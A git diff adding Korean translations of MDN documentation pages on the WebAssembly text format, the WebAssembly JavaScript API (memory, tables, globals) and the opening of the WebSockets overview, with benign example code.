+<p>이 작업을 보려면 Memory 객체와 Table 객체가 포함 된 단일 가져 오기 객체를 만들고 동일한 가져 오기 객체를 여러 <code><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate">instantiate()</a></code> 호출에 전달합니다.</p>
+
+<p><code>.wat</code> 예제는 다음과 같습니다.</p>
+
+<p><code>shared0.wat</code>:</p>
+
+<pre><code>(module
+  (import "js" "memory" (memory 1))
+  (import "js" "table" (table 1 anyfunc))
+  (elem (i32.const 0) $shared0func)
+  (func $shared0func (result i32)
+   i32.const 0
+   i32.load)
+)</code></pre>
+
+<p><code>shared1.wat</code>:</p>
+
+<pre><code>(module
+  (import "js" "memory" (memory 1))
+  (import "js" "table" (table 1 anyfunc))
+  (type $void_to_i32 (func (result i32)))
+  (func (export "doIt") (result i32)
+   i32.const 0
+   i32.const 42
+   i32.store  ;; store 42 at address 0
+   i32.const 0
+   call_indirect (type $void_to_i32))
+)</code></pre>
+
+<p>작업은 다음과 같습니다.</p>
+
+<ol>
+ <li><code>shared0func</code> 함수는 <code>shared0.wat</code>에 정의되어 있으며 가져온 테이블에 저장됩니다.</li>
+ <li>이 함수는 값 <code>0</code>을 포함하는 상수를 작성한 다음 <code>i32.load</code> 명령을 사용하여 제공된 메모리 색인에 포함 된 값을로드합니다. 제공된 인덱스는 <code>0</code>입니다 - 다시 암시 적으로 스택에서 이전 값을 팝합니다. 따라서 <code>shared0func</code>는 메모리 인덱스 <code>0</code>에 저장된 값을로드하고 반환합니다.</li>
+ <li><code>shared1.wat</code>에서 <code>doIt</code>이라는 함수를 내 보냅니다.이 함수는 <code>0</code>과 <code>42</code> 값을 포함하는 두 개의 상수를 만든 다음 <code>i32.store</code>를 호출하여 제공된 값을 가져온 메모리의 제공된 색인에 저장합니다. 다시 말하지만, 스택에서이 값을 암시 적으로 팝하므로 메모리 인덱스 <code>0</code>에 값 <code>42</code>를 저장합니다.</li>
+ <li>함수의 마지막 부분에서 값 0으로 상수를 만든 다음이 인덱스 0에서 <code>shared0func</code>라는 함수를 호출하고 <code>shared0.wat</code>의 <code>elem</code> 블록에 먼저 저장합니다.</li>
+ <li><code>shared0func</code>가 호출되면 <code>shared1.wat</code>의 <code>i32.store</code> 명령을 사용하여 메모리에 저장된 <code>42</code>를 로드합니다.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: 위의 표현식은 암시 적으로 스택의 값을 다시 표시하지만 명령 호출 내에서 명시 적으로 이를 선언 할 수 있습니다. 예를 들면 다음과 같습니다.:</p>
+
+<pre><code>(i32.store (i32.const 0) (i32.const 42))
+(call_indirect (type $void_to_i32) (i32.const 0))</code>
+</pre>
+</div>
+
+<p>어셈블리로 변환 한 후 다음 코드를 통해 JavaScript에서 <code>shared0.wasm</code>과 <code>shared1.wasm</code>을 사용합니다.</p>
+
+<pre><code>var importObj = {
+  js: {
+    memory : new WebAssembly.Memory({ initial: 1 }),
+    table : new WebAssembly.Table({ initial: 1, element: "anyfunc" })
+  }
+};
+
+Promise.all([
+  WebAssembly.instantiateStreaming(fetch('shared0.wasm'), importObj),
+  WebAssembly.instantiateStreaming(fetch('shared1.wasm'), importObj)
+]).then(function(results) {
+  console.log(results[1].instance.exports.doIt());  // prints 42
+});</code>
+</pre>
+
+<p>컴파일되는 각 모듈은 동일한 메모리 및 테이블 객체를 가져와 동일한 선형 메모리 및 테이블 "주소 공간"을 공유 할 수 있습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://github.com/mdn/webassembly-examples/blob/master/understanding-text-format/shared-address-space.html">shared-address-space.html</a>에서 예제를 확인할 수 있습니다.(<a href="https://mdn.github.io/webassembly-examples/understanding-text-format/shared-address-space.html">see it live also</a>).</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>WebAssembly 텍스트 형식의 주요 구성 요소에 대한 높은 수준의 둘러보기와 WebAssembly JS API에 반영되는 방법을 마무리합니다.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>포함되지 않은 주요 내용은 함수 본문에서 발생할 수있는 모든 명령의 포괄적 인 목록입니다. 각 명령어의 처리 방법은 <a href="http://webassembly.org/docs/semantics">WebAssembly semantics</a>을 참조하십시오.</li>
+ <li>spec 해석기로 구현된 <a href="https://github.com/WebAssembly/spec/blob/master/interpreter/README.md#s-expression-syntax">grammar of the text format</a>도 참조하십시오.</li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/webassembly/using_the_javascript_api/index.html b/files/ko/webassembly/using_the_javascript_api/index.html
new file mode 100644
index 0000000000..c7d4cfc10f
--- /dev/null
+++ b/files/ko/webassembly/using_the_javascript_api/index.html
@@ -0,0 +1,307 @@
+---
+title: 웹어셈블리의 자바스크립트 API 사용하기
+slug: WebAssembly/Using_the_JavaScript_API
+tags:
+  - API
+  - 웹어셈블리
+  - 자바스크립트
+  - 컴파일
+translation_of: WebAssembly/Using_the_JavaScript_API
+---
+<div>{{WebAssemblySidebar}}</div>
+
+<div></div>
+
+<p class="summary"><a href="/ko/docs/WebAssembly/C_to_wasm">Emscripten과 같은 도구를 사용하여 다른 언어의 모듈을 컴파일</a>했거나 <a href="/ko/docs/WebAssembly/Loading_and_running">코드를 직접로드하여 실행</a> 해봤다면 다음 단계에서는 WebAssembly JavaScript API의 다른 기능을 사용하는 방법에 대해 자세히 알아 봅니다. </p>
+
+<div class="note">
+<p><strong>Note</strong>: 여기에서 언급한 기본 개념에 익숙하지 않거나 더 많은 설명이 필요한 경우 <a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a>를 먼저 읽어보세요.</p>
+</div>
+
+<h2 id="몇가지_간단한_예제">몇가지 간단한 예제</h2>
+
+<p>WebAssembly JavaScript API를 사용하는 방법과 웹 페이지에서 wasm 모듈을 로드하는 방법을 설명하는 몇 가지 예제를 실행 해 보겠습니다.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 샘플 코드는 <a href="https://github.com/mdn/webassembly-examples">webassembly-examples</a> GitHub repo에서 찾을 수 있습니다.</p>
+</div>
+
+<h3 id="예제_준비하기">예제 준비하기</h3>
+
+<ol>
+ <li>먼저 wasm 모듈이 필요합니다! <a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/simple.wasm">simple.wasm</a> 파일을 로컬 컴퓨터의 새 디렉토리에 저장하세요.</li>
+ <li>다음으로, wasm 파일과 동일한 디렉토리에 index.html이라는 간단한 HTML 파일을 작성해보세요 (<a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">simple template</a>을 참고하면 쉽습니다.)</li>
+ <li>이제 여기서 무슨 일이 벌어지는지 이해하기 쉽도록 하기위해 wasm 모듈 (<a href="/ko/docs/WebAssembly/Text_format_to_wasm#A_first_look_at_the_text_format">Converting WebAssembly format to wasm</a>을 참고)의 텍스트 표현을 살펴 보겠습니다.
+  <pre><code>(module
+  (func $i (import "imports" "imported_func") (param i32))
+  (func (export "exported_func")
+    i32.const 42
+    call $i))</code></pre>
+ </li>
+ <li>두 번째 줄에서 2단계의 import 네임스페이스가 있습니다. 즉, 내부 기능 <code>$i</code>는 <code>imports.imported_func</code>에서 가져옴을 알 수 있습니다. wasm 모듈로 가져올 객체를 작성할 때 JavaScript에서 이 2단계 네임스페이스를 반영해야 합니다.<br>
+  HTML 파일에 <code>&lt;script&gt;&lt;/script&gt;</code>요소를 만들고 다음 코드를 추가합니다.
+  <pre><code>var importObject = {
+  imports: { imported_func: arg =&gt; console.log(arg) }
+};</code></pre>
+ </li>
+</ol>
+
+<h3 id="웹어셈블리_모듈을_스트리밍하기">웹어셈블리 모듈을 스트리밍하기</h3>
+
+<p>Firefox 58의 새로운 기능으로 기본 소스에서 직접 WebAssembly 모듈을 컴파일하고 인스턴스화하는 기능이 있습니다. 이는 {{jsxref("WebAssembly.compileStreaming()")}} 와 {{jsxref("WebAssembly.instantiateStreaming()")}} 메소드를 사용하여 수행됩니다. 이 메소드는 바이트 코드를 직접 <code>Module</code>/<code>Instance</code> 인스턴스로 변환 할 수 있기 때문에 스트리밍이 아닌 방식의 메소드보다 작성이 쉽습니다. 별도로 {{domxref("Response")}}를 {{domxref("ArrayBuffer")}}로 호출할 필요성을 없애줍니다.</p>
+
+<p>이 예제는 (GitHub의 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/instantiate-streaming.html">instantiate-streaming.html</a> 데모와 <a href="https://mdn.github.io/webassembly-examples/js-api-examples/instantiate-streaming.html">view it live</a>를 보세요) <code>instantiateStreaming()</code>을 사용하여 wasm 모듈을 가져오고, JavaScript 함수를 가져오고, 컴파일하고 인스턴스화하며, 내 보낸 함수에 액세스하는 방법을 한번에 보여줍니다.</p>
+
+<p>첫 번째 블록 아래에 다음을 추가하십시오.</p>
+
+<pre><code>WebAssembly.instantiateStreaming(fetch('simple.wasm'), importObject)
+.then(obj =&gt; obj.instance.exports.exported_func());</code></pre>
+
+<p>그 결과, 내 보낸 WebAssembly 함수 인 <code>export_func</code>를 호출합니다.이 함수는 가져온 JavaScript 함수 <code>imported_func</code>를 호출합니다.이 함수는 WebAssembly 인스턴스 (42) 내부에 제공된 값을 콘솔에 기록합니다. 지금 예제 코드를 저장하고 WebAssembly를 지원하는 브라우저에 로드하면 이를 실제로 볼 수 있습니다!</p>
+
+<div class="note">
+<p><strong>Note</strong>: 이것은 매우 난해하고, 길고 지루한 예이지만 웹 응용프로그램에서 JavaScript와 함께 WebAssembly 코드를 사용하여 가능한 것을 설명하는 데 도움이 됩니다. 우리가 다른 곳에서 언급했듯이, WebAssembly는 JavaScript를 대체하려는 것이 아니라, 그 두 개가 상호 작용하여 서로의 강점을 이끌어 낼수 있습니다.</p>
+</div>
+
+<h3 id="스트리밍하지_않고_웹어셈블리_모듈_로드">스트리밍하지 않고 웹어셈블리 모듈 로드</h3>
+
+<p>위에서 설명한 스트리밍 방법을 사용할 수 없거나 사용하지 않으려면 스트리밍하지 않는 메서드{{jsxref("WebAssembly.compile")}} / {{jsxref("WebAssembly.instantiate")}}를 대신 사용할 수 있습니다.</p>
+
+<p>이 메소드는 바이트 코드에 직접 액세스하지 않으므로 wasm 모듈을 컴파일 / 인스턴스화하기 전에 응답을 {{domxref ( "ArrayBuffer")}}로 변환하는 추가 단계가 필요합니다.</p>
+
+<p>이와 동등한 코드는 다음과 같습니다.</p>
+
+<pre><code>fetch('simple.wasm').then(response =&gt;
+  response.arrayBuffer()
+).then(bytes =&gt;
+  WebAssembly.instantiate(bytes, importObject)
+).then(results =&gt; {
+  results.instance.exports.exported_func();
+});</code></pre>
+
+<h3 id="개발자_도구에서_웹어셈블리_보기">개발자 도구에서 웹어셈블리 보기</h3>
+
+<p>Firefox 54+에서 Developer Tool Debugger Panel에는 웹 페이지에 포함된 모든 wasm 코드의 텍스트 표현을 표시하는 기능이 있습니다. Debugger 패널로 이동하여 "wasm://" 항목을 클릭할 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15823/wasm-debug.png" style="display: block; height: 317px; margin: 0px auto; width: 1019px;"></p>
+
+<p>Firefox에서 WebAssembly를 텍스트로 보는 것 외에도 텍스트 형식을 사용하여 개발자는 WebAssembly를 디버깅할 수 있습니다(breakpoint, callstack 검사, 단일 단계 검사 등). 비디오 미리 보기는 <span class="watch-title" dir="ltr" id="eow-title" title="WebAssembly debugging with Firefox DevTools"><a href="https://www.youtube.com/watch?v=R1WtBkMeGds">WebAssembly debugging with Firefox DevTools</a></span>을 참조하십시오.</p>
+
+<h2 id="메모리_인스턴스">메모리 인스턴스</h2>
+
+<p>WebAssembly의 저수준 메모리 모델에서 메모리는 <a href="http://webassembly.org/docs/semantics/#linear-memory">Linear Memory</a>라고하는 형식이 지정되지 않은 바이트의 연속 범위로 표시되며 <a href="http://webassembly.org/docs/semantics/#linear-memory-accesses">load and store instructions</a>에 의해 모듈 내부에서 읽고 쓰여집니다. 이 메모리 모델에서 모든 load 또는 store는 linear memory의 모든 바이트에 액세스 할 수 있으므로 포인터와 같은 C / C ++ 개념을 충실하게 표현하는 데 필요합니다.</p>
+
+<p>그러나 네이티브 C / C ++ 프로그램과 달리 사용 가능한 메모리 범위가 전체 프로세스에 걸쳐있는 경우 특정 WebAssembly 인스턴스가 액세스 할 수있는 메모리는 WebAssembly 메모리 객체에 포함 된 특정 범위 (잠재적으로 매우 작은 범위)로 제한됩니다. 이를 통해 단일 웹 응용 프로그램은 WebAssembly를 내부적으로 사용하는 여러 독립 라이브러리를 사용하여 서로 완전히 격리 된 별도의 메모리를 가질 수 있습니다.</p>
+
+<p>자바 스크립트에서 Memory 인스턴스는 크기를 조정할 수있는 ArrayBuffer로 생각할 수 있으며, ArrayBuffers와 마찬가지로 하나의 웹 앱에서 많은 독립적 인 Memory 객체를 만들 수 있습니다. {{jsxref("WebAssembly.Memory()")}} 생성자를 사용하여 생성 할 수 있습니다. 생성자는 인수로 초기 크기와 (선택적으로) 최대 크기를 인수로 취합니다.</p>
+
+<p>빠르게 예제를 살펴봅시다.</p>
+
+<ol>
+ <li>
+  <p>새로운 간단한 HTML 페이지를 만들고 (<a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">simple template</a>을 복사하십시오) <code>memory.html</code>을 호출하십시오. <code>&lt;script&gt;&lt;/script&gt;</code> 요소를 페이지에 추가하십시오.</p>
+ </li>
+ <li>
+  <p>이제 스크립트 맨 위에 다음 행을 추가하여 메모리 인스턴스를 만듭니다.</p>
+
+  <pre><code>var memory = new WebAssembly.Memory({initial:10, maximum:100});</code></pre>
+
+  <p><code>initial</code> 및 <code>maximum</code> 단위는 WebAssembly 페이지이며 크기는 64KB로 고정되어 있습니다. 즉, 위 메모리 인스턴스의 초기 크기는 640KB이고 최대 크기는 6.4MB입니다.</p>
+
+  <p>WebAssembly 메모리는 ArrayBuffer를 반환하는 버퍼 getter / setter를 제공함으로써 바이트를 노출합니다. 예를 들어 선형 메모리의 첫 번째 단어에 직접 42를 쓰려면 다음과 같이하면됩니다.</p>
+
+  <pre><code>new Uint32Array(memory.buffer)[0] = 42;</code></pre>
+
+  <p>그런 다음 다음을 사용하여 동일한 값을 반환 할 수 있습니다.</p>
+
+  <pre><code>new Uint32Array(memory.buffer)[0]</code></pre>
+ </li>
+ <li>
+  <p>데모에서 지금 사용해보십시오. 지금까지 추가 한 내용은 저장하고 브라우저에로드 한 다음 JavaScript 콘솔에 위의 두 줄을 입력 해보십시오.</p>
+ </li>
+</ol>
+
+<h3 id="메모리의_확장">메모리의 확장</h3>
+
+<p>메모리 인스턴스는 {{jsxref("Memory.prototype.grow()")}}를 호출하여 확장 할 수 있습니다. 여기서 인수는 WebAssembly 페이지 단위로 입력합니다.</p>
+
+<pre><code>memory.grow(1);</code></pre>
+
+<p>메모리 인스턴스 생성시 최대 값이 제공되었을 때 이 최대 값을 초과하여 증가하려고 시도하면 {{jsxref("WebAssembly.RangeError")}} 예외가 발생합니다. 엔진은 이 상한값을 이용하여 미리 메모리를 예약하므로 크기를 보다 효율적으로 조정할 수 있습니다.</p>
+
+<p>{{domxref("ArrayBuffer")}}의 byteLength는 불변이므로, {{jsxref("Memory.prototype.grow()")}} 오퍼레이션이 성공하면, 버퍼 getter는 (새로운 byteLength로) 새로운 ArrayBuffer 객체를 돌려 주어, 이전의 모든 ArrayBuffer 객체는 「detached」가되거나, 이전에 가리켰던 기본 메모리와의 접속이 끊어집니다.</p>
+
+<p>함수와 마찬가지로 선형 메모리를 모듈 내부에서 정의하거나 가져올 수 있습니다. 마찬가지로 모듈은 메모리를 선택적으로 내보낼수도 있습니다. 즉, JavaScript는 새 WebAssembly.Memory를 만들고 가져 오기로 전달하거나 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance/exports">Instance.prototype.exports</a></code>를 통해 메모리 내보내기를 하여 WebAssembly 인스턴스의 메모리에 액세스 할 수 있습니다.</p>
+
+<h3 id="심화된_메모리_예제">심화된 메모리 예제</h3>
+
+<p>앞서 정의한 메모리 인스턴스를 가져 와서 정수 배열로 채운 다음 더 합친 WebAssembly 모듈을 통해 더 많은 관련 메모리 예제를 살펴봄으로써 위의 내용을 보다 자세히 알아 보겠습니다. <a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/memory.wasm">memory.wasm</a>에서 찾을 수 있습니다.</p>
+
+<ol>
+ <li>
+  <p><code>memory.wasm</code>을 이전과 같이 같은 폴더에 복사합니다.</p>
+
+  <div class="note">
+  <p><strong>Note</strong>: <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.wat">memory.wat</a>에서 모듈의 텍스트 표현을 볼 수 있습니다.</p>
+  </div>
+ </li>
+ <li>
+  <p><code>memory.html</code> 샘플 파일로 돌아가서 이전처럼 wasm 모듈을 가져 와서 컴파일하고 인스턴스화합니다. - 스크립트의 맨 아래에 다음을 추가하세요.</p>
+
+  <pre><code>WebAssembly.instantiateStreaming(fetch('memory.wasm'), { js: { mem: memory } })
+.then(results =&gt; {
+  // add code here
+});</code></pre>
+ </li>
+ <li>
+  <p>이 모듈은 메모리를 내보내므로 instance라는 이 모듈의 인스턴스가 export 된 함수 <code>accumulate()</code>를 사용하여 모듈 인스턴스의 선형 메모리 (<code>mem</code>)에 직접 입력 배열을 만들고 채울 수 있습니다. 코드에 다음을 추가하십시오.</p>
+
+  <pre><code>var i32 = new Uint32Array(memory.buffer);
+
+for (var i = 0; i &lt; 10; i++) {
+  i32[i] = i;
+}
+
+var sum = results.instance.exports.accumulate(0, 10);
+console.log(sum);</code></pre>
+ </li>
+</ol>
+
+<p>Memory 객체의 버퍼 (<code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory/buffer">Memory.prototype.buffer</a></code>)에서 {{domxref ("Uint32Array")}} 뷰를 만드는 방법에 유의하십시오.</p>
+
+<p>메모리 가져 오기는 함수 가져 오기와 마찬가지로 작동하며 메모리 개체 만 JavaScript 함수 대신 값으로 전달됩니다. 메모리 가져 오기는 다음과 같은 두 가지 이유로 유용합니다.</p>
+
+<ul>
+ <li>그것들은 자바 스크립트가 모듈 컴파일 이전에 또는 모듈 컴파일과 동시에 메모리의 초기 내용을 가져오고 생성 할 수 있도록합니다.</li>
+ <li>WebAssembly에서 동적 연결을 구현하는 데 중요한 구성 요소인 multiple module instances에서 단일 Memory 객체를 가져올 수 있습니다.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/memory.html">memory.html</a>에서 완전히 동작하는 예제를 확인할 수 있습니다. (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/memory.html">see it live also</a>)</p>
+</div>
+
+<h2 id="테이블_인스턴스">테이블 인스턴스</h2>
+
+<p>WebAssembly 테이블은 JavaScript 및 WebAssembly 코드로 액세스 할 수 있는 크기가 조정가능한 형식의 <a href="https://en.wikipedia.org/wiki/Reference_(computer_science)">references</a> 배열입니다. 메모리는 크기를 조정할 수있는 원시 바이트 배열을 제공하지만 참조는 안전성, 이식성 및 안정성을 이유로 내용으로 직접 읽거나 쓰지 않아야하는 engine-trusted 값이므로 참조가 메모리에 저장되는 것은 안전하지 않습니다.</p>
+
+<p>테이블에는 테이블에 저장할 수있는 참조 유형을 제한하는 요소 유형이 있습니다. WebAssembly의 현재 반복에서는 WebAssembly 코드 함수에 필요한 참조 유형이 하나뿐이므로 올바른 요소 유형이 하나만 있습니다. 향후 반복에서는 더 많은 요소 유형이 추가됩니다.</p>
+
+<p>함수 참조(Function references)는 함수 포인터가 있는 C / C ++와 같은 언어를 컴파일하는 데 필요합니다. C / C ++의 네이티브 구현시 함수 포인터는 프로세스의 가상 주소 공간에있는 함수 코드의 원시 주소로 표시되므로 위에서 언급 한 안전상의 이유로 선형 메모리에 직접 저장할 수 없습니다. 대신 함수 참조는 테이블에 저장되며 선형 메모리에 저장 할 수 있는 정수인 인덱스가 대신 전달됩니다.</p>
+
+<p>함수 포인터를 호출 할 때 WebAssembly 호출자는 인덱스를 제공합니다.이 호출자는 인덱싱 된 함수 참조를 인덱싱하고 호출하기 전에 테이블에 대해 safety bounds를 검사 할 수 있습니다. 따라서 테이블은 현재 저수준 프로그래밍 언어 기능을 안전하고 이식 가능하게 컴파일하는 데 사용되는 다소 낮은 수준의 프리미티브(primitive)입니다.</p>
+
+<p>테이블은 테이블의 값 중 하나를 업데이트하는 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/set">Table.prototype.set()</a></code>과 테이블에 저장할 수있는 값의 수를 늘리는 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/grow">Table.prototype.grow()</a></code>를 통해 변형 될 수 있습니다. 이를 통해 간접적으로 호출 할 수있는 함수 집합이 시간이 지남에 따라 변경 될 수 있으며 이는 <a href="http://webassembly.org/docs/dynamic-linking/">dynamic linking techniques</a>에 필요합니다. mutations는 JavaScript의 <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">Table.prototype.get()</a></code>과 wasm 모듈을 통해 즉시 액세스 할 수 있습니다.</p>
+
+<h3 id="테이블_예제">테이블 예제</h3>
+
+<p>두 요소가 있는 테이블(요소 0은 13을 반환하고 요소 1은 42를 반환)을 만들고 내보내는 WebAssembly 모듈(<a href="https://github.com/mdn/webassembly-examples/raw/master/js-api-examples/table.wasm">table.wasm</a>에서 확인 가능)로 간단한 테이블 예제를 보겠습니다.</p>
+
+<ol>
+ <li>
+  <p>새로운 디렉토리에 <code>table.wasm</code>을 복사하여 만듭니다.</p>
+
+  <div class="note">
+  <p><strong>Note</strong>: <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.wat">table.wat</a>에서 모듈의 텍스트 표현(text representation)을 확인할 수 있습니다.</p>
+  </div>
+ </li>
+ <li>
+  <p><a href="https://github.com/mdn/webassembly-examples/blob/master/template/template.html">HTML template</a>를 같은 디렉토리에 복사하여 <code>table.html</code>라는 파일명으로 저장합니다.</p>
+ </li>
+ <li>
+  <p>wasm 모듈을 fetch, compile, instantiate하기 전 다음의 코드를 HTML body아래의 {{htmlelement("script")}} 요소안에 넣습니다.</p>
+
+  <pre class="brush: js">WebAssembly.instantiateStreaming(fetch('table.wasm'))
+.then(function(results) {
+  // add code here
+});</pre>
+ </li>
+ <li>
+  <p>이제 테이블 안에 있는 정보에 엑세스 하겠습니다. 다음의 코드를 위의 add code here 부분에 넣습니다.</p>
+
+  <pre class="brush: js">var tbl = results.instance.exports.tbl;
+console.log(tbl.get(0)());  // 13
+console.log(tbl.get(1)());  // 42</pre>
+ </li>
+</ol>
+
+<p>이 코드는 테이블에 저장된 각 함수 참조를 차례로 액세스하고 인스턴스화하여 가지고 있는 값을 콘솔에 출력합니다. <code><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects/WebAssembly/Table/get">Table.prototype.get()</a></code> 호출로 각 함수 참조를 검색 한 다음 추가 세트를 추가합니다 실제로 함수를 호출하려면 끝에 괄호를 사용하십시오.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 우리의 완전한 데모는 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/table.html">table.html</a>에서 찾을 수 있습니다. (<a href="https://mdn.github.io/webassembly-examples/js-api-examples/table.html">see it live also</a>) </p>
+</div>
+
+<h2 id="Globals">Globals</h2>
+
+<p>WebAssembly는 하나 이상의 {{jsxref ( "WebAssembly.Module")}} 인스턴스 전체에서 JavaScript와 가져오기 / 내보내기가 가능한 전역 변수 인스턴스를 생성 할 수 있습니다. 이는 여러 모듈을 동적으로 연결할 수 있으므로 매우 유용합니다.</p>
+
+<p>JavaScript 내부에서 WebAssembly 전역 인스턴스를 만들려면 다음과 같은 {{jsxref ( "WebAssembly.Global ()")}} 생성자를 사용합니다.</p>
+
+<pre><code>const global = new WebAssembly.Global({value:'i32', mutable:true}, 0);</code></pre>
+
+<p>다음 두가지 매게변수를 확인 할 수 있습니다.</p>
+
+<ul>
+ <li>전역 변수를 설정하는 두 가지 속성이 포함 된 객체.
+  <ul>
+   <li><code>value</code>: WebAssembly 모듈에서 사용할 수 있는 데이터 타입입니다. 다음의 값을 사용할 수 있습니다. — <code>i32</code>, <code>i64</code>, <code>f32</code>, <code>f64</code>.</li>
+   <li><code>mutable</code>: boolean 값이며 mutable이 가능한지 여부를 지정합니다.</li>
+  </ul>
+ </li>
+ <li>변수의 실제 값을 포함하는 값. 유형이 지정된 데이터 유형과 일치하면 어떤 값이든 될 수 있습니다.</li>
+</ul>
+
+<p>다음예제에서 mutable <code>i32</code>타입으로 정의되고 value 0을 가진 global로 어떻게 사용하는지 알아보겠습니다.</p>
+
+<p>global 값은 <code>Global.value</code> 속성을 사용하여 처음 42로 변경된 다음 <code>global.wasm</code>module에서 내보낸 <code>incGlobal()</code> 함수를 사용하여 43으로 변경됩니다. 이것은 값이 주어진 값에 1을 더한 다음 새 값을 반환합니다.</p>
+
+<pre><code>const output = document.getElementById('output');
+
+function assertEq(msg, got, expected) {
+    output.innerHTML += `Testing ${msg}: `;
+    if (got !== expected)
+        output.innerHTML += `FAIL!&lt;br&gt;Got: ${got}&lt;br&gt;Expected: ${expected}&lt;br&gt;`;
+    else
+        output.innerHTML += `SUCCESS! Got: ${got}&lt;br&gt;`;
+}
+
+assertEq("WebAssembly.Global exists", typeof WebAssembly.Global, "function");
+
+const global = new WebAssembly.Global({value:'i32', mutable:true}, 0);
+
+WebAssembly.instantiateStreaming(fetch('global.wasm'), { js: { global } })
+.then(({instance}) =&gt; {
+    assertEq("getting initial value from wasm", instance.exports.getGlobal(), 0);
+    global.value = 42;
+    assertEq("getting JS-updated value from wasm", instance.exports.getGlobal(), 42);
+    instance.exports.incGlobal();
+    assertEq("getting wasm-updated value from JS", global.value, 43);
+});</code></pre>
+
+<div class="note">
+<p><strong>Note</strong>: <a href="https://mdn.github.io/webassembly-examples/js-api-examples/global.html">running live on GitHub</a>에서 라이브 예제를 확인하고 에서 <a href="https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.html">source code</a> 소스코드를 확인 할 수 있습니다.</p>
+</div>
+
+<h2 id="Multiplicity">Multiplicity</h2>
+
+<p>이제 우리는 WebAssembly 기본 블록의 사용법을 보여주었습니다. 다중성의 개념을 언급하기에 좋은 곳입니다. 여기서 구조적 효율성 측면에서의 다양한 발전과 함께 WebAssembly를 제공합니다.</p>
+
+<ul>
+ <li>하나의 모듈은 하나의 함수 리터럴이 N 개의 클로저 값을 생성 할 수있는 것과 같은 방식으로 N 개의 인스턴스를 가질 수 있습니다.</li>
+ <li>하나의 모듈 인스턴스는 인스턴스의 "주소 공간"을 제공하는 0-1 메모리 인스턴스를 사용할 수 있습니다. WebAssembly의 이후 버전에서는 모듈 인스턴스 당 0-N 개의 메모리 인스턴스가 허용 될 수 있습니다 (<a href="http://webassembly.org/docs/future-features/#multiple-tables-and-memories">Multiple Tables and Memories</a> 참조).</li>
+ <li>하나의 모듈 인스턴스는 0-1 테이블 인스턴스를 사용할 수 있습니다. 이것은 C 함수 포인터를 구현하는 데 사용되는 인스턴스의 "함수 주소 공간"입니다. WebAssembly의 향후 버전에서는 향후 모듈 인스턴스 당 0-N 테이블 인스턴스를 허용 할 수 있습니다.</li>
+ <li>하나의 메모리 또는 테이블 인스턴스는 0-N 모듈 인스턴스에서 사용할 수 있습니다.이 인스턴스는 모두 동일한 주소 공간을 공유하므로 <a href="http://webassembly.org/docs/dynamic-linking">dynamic linking</a>이 가능합니다.</li>
+</ul>
+
+<p>Understanding text format에서 multiplicity in action를 확인 할 수있습니다. - <a href="/ko/docs/WebAssembly/Understanding_the_text_format#Mutating_tables_and_dynamic_linking">Mutating tables and dynamic linking section</a>을 참조하십시오.</p>
+
+<h2 id="요약">요약</h2>
+
+<p>여기서 WebAssembly JavaScript API를 사용하여 JavaScript 컨텍스트에 WebAssembly 모듈을 포함하고 해당 기능을 사용하는 방법과 JavaScript에서 WebAssembly 메모리 및 테이블을 사용하는 방법에 대해 살펴 보았습니다. 그리고 다중성의 개념에 대해서도 언급했습니다.</p>
+
+<h2 id="바깥_고리">바깥 고리</h2>
+
+<ul>
+ <li><a href="http://webassembly.org/">webassembly.org</a></li>
+ <li><a href="/ko/docs/WebAssembly/Concepts">WebAssembly concepts</a></li>
+ <li><a href="https://research.mozilla.org/webassembly/">WebAssembly on Mozilla Research</a></li>
+</ul>
diff --git a/files/ko/websockets/index.html b/files/ko/websockets/index.html
new file mode 100644
index 0000000000..8b6fd20b1a
--- /dev/null
+++ b/files/ko/websockets/index.html
@@ -0,0 +1,172 @@
+---
+title: 웹 소켓
+slug: WebSockets
+translation_of: Web/API/WebSockets_API
+---
+<p>웹 소켓은 사용자의 브라우저와 서버 사이의 인터액티브 통신 세션을 설정할 수 있게 하는 고급 기술입니다. 개발자는 웹 소켓 API를 통해 서버로 메시지를 보내고 서버의 응답을 위해 서버를 폴링하지 않고도 이벤트 중심 응답을 받는 것이 가능합니다.</p>
+
+<div class="cleared row topicpage-table">
+<h2 class="Interfaces" id="Interfaces" name="Interfaces"><code>인터페이스</code></h2>
+
+<dl>
+ <dt><code><code><a href="/ko/docs/Web/API/WebSocket" title="ko/WebSockets/WebSockets reference/WebSocket"><code>WebSocket</code></a></code></code></dt>
+ <dd>웹 소켓 서버로 연결하고 연결을 통해 데이터를 보내고 받는 기본 인터페이스</dd>
+ <dt><code><code><code><a href="/ko/docs/Web/API/CloseEvent" title="ko/WebSockets/WebSockets reference/CloseEvent"><code>CloseEvent</code></a></code></code></code></dt>
+ <dd>연결이 종료 되었을 때 웹 소켓 객체에 의해 전달된 이벤트</dd>
